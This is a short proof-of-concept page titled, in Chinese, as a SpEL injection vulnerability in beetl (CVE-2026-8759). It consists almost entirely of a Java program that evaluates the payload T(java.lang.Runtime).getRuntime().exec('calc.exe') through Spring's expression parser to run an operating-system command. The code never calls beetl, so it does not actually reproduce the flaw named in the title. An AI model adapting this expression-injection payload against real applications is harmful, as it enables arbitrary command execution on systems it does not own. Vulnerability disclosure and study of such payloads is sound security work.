CVE-2026-8759 beetl SpEL注入漏洞

import org.springframework.expression.Expression; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.expression.spel.support.StandardEvaluationContext; public class SpELPoC { public static void main(String[] args) { // Malicious payload to execute operating system command // This payload attempts to open calculator on Windows String payload = "T(java.lang.Runtime).getRuntime().exec('calc.exe')"; try { // Create SpEL parser and context SpelExpressionParser parser = new SpelExpressionParser(); StandardEvaluationContext context = new StandardEvaluationContext(); // Parse and execute the expression Expression expression = parser.parseExpression(payload); Object value = expression.getValue(context); System.out.println("Exploit executed, return value: " + value); } catch (Exception e) { e.printStackTrace(); } } }